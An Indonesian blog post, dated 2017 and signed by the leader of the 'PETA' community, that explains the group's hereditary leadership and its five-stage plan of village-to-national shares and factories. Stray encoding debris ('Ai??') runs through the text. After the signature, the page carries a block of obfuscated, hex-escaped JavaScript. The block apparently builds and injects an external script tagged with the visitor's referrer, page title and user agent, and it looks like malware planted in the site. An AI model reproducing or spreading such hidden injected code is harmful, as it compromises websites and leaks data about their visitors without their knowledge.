KOMUNITAS PETA Beda Bentuk Dengan Organisasi Lain

JIKA Ada pihak-pihak lain yang mempertanyakan kenapa Komunitas Pembela Tanah Air (PETA) tidak sama dengan organisasi berbentuk PARTAI, LSM, ORMAS, YAYASAN dan Perkumpulan lainnya? Ai??Maka saya bakal langsung memberikan jawabannya, agar tak ada pihak-pihak yang menilai negatif terhadap PETA, atau bahkan ingin mendiskreditkan PETA.

Saya jelaskan, Komunitas PETA memang berbeda dengan bentuk organisasi lain. Hal ini, karena mengacu pada berbagai pemikiran yang matang dan pertimbangan dari berbagai sudut pandang.

Perbedaan Komunitas PETA dengan berbagai bentuk organisasi lain, karena mengacu pada berbagai hal, yaitu :

PETA mengutamakan persaudaraan, Ai??perasaan senasib, sepenanggungan dan seperjuangan.

PETA tidak kenal pergantian dalam hal jabatan, karena berbagai jabatan di PETA tidak ada masa waktunya, yaitu selama tetap bisa amanah dalam menjalankan sistem ekonomi ala PETA.

-Setiap Pengurus PETA yang akan pensiun dari kegiatan-kegiatan PETA, maka amanah diserahkan kepada keturunannya masing-masing, namun jika keturunannya tidak bisa amanah dalam menjalankan sistem ekonomi ala PETA, maka bisa saja diganti melalui forum musyawarah pada setiap masing-masing tingkatan wiilayah tugas.

-Setiap pengurus PETA pada tiap tingkatannya disiapkan untuk masuk dalam sistem pemerintahan, baik itu Eksekutif maupun legislatif, agar nantinya bisa lebih mendukung percepatan perkembangan sistem ekonomi ala PETA.

Sedangkan Tahapan Pelaksanaan Sistem Ekonomi ala PETA ini, nantinya akan dibuatkan pedomannya yang tersusun dalam draf GARIS-GARIS BESAR HALUAN PETA (GBHP), yang meliputi :

  1. IDEOLOGI.
  2. POLITIK.
  3. EKONOMI.
  4. SOSIAL.
  5. BUDAYA.
  6. PERTAHANAN.
  7. KEAMANAN.
  8. HUKUM.

Sementara untuk saat ini, PETA masih fokus pada pelaksanaan bidang ekonomi dengan tahapan sebagai berikut :

-Tahap 1 : Realisasikan Tabungan Komunitas PETA yang dijalankan di desa atau kelurahan masing-masing, sesuai sistem ekonomi ala PETA yang sudah dirancang dan ditetapkan.

-Tahap 2 : Saham tingkat desa atau kelurahan dengan sasaran setiap desa diharapkan mampu membangun pabrik untuk kebutuhan dasar dan membuka lapangan kerja, yang diatur oleh Resimen Kabupaten/Kota, misalnya sabun, beras, air, sepatu dan lain-lain.

-Tahap 3 : Saham tingkat kabupaten/kota dengan sasaran setiap kabupaten membangun pabrik untuk kebutuhan menengah yang diatur oleh Divisi Tingkat Provinsi, misalnya produk HP, TV, KULKAS dan lain-lain.

-Tahap 4 : Saham tingkat provinsi atau divisi dengan sasaran setiap provinsi mampu membangun pabrik kebutuhan eksklusif yang diatur oleh Mabes PETA, misalnya produk motor, mobil, kapal, pesawat dan lain-lain.

-Tahap 5 : Saham Nasional dengan sasaran seluruh Rakyat Indonesia untuk dilibatkan dalam kelola kekayaan alam bangsa sendiri, yang akan diatur oleh Pemerintah (Negara), Ai??misalnya menambang emas, Ai??uranium, plutonium, minyak, gas, batubara dan lain-lain.

 

Bekasi, 7 Agustus 2017

-Tertanda-

Mayor Purn TNI Muhammad Saleh Karaeng Sila.Ai??

Panglima Besar PETA.Ai??

Pencetus sistem ekonomi ala PETA.

  t;,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *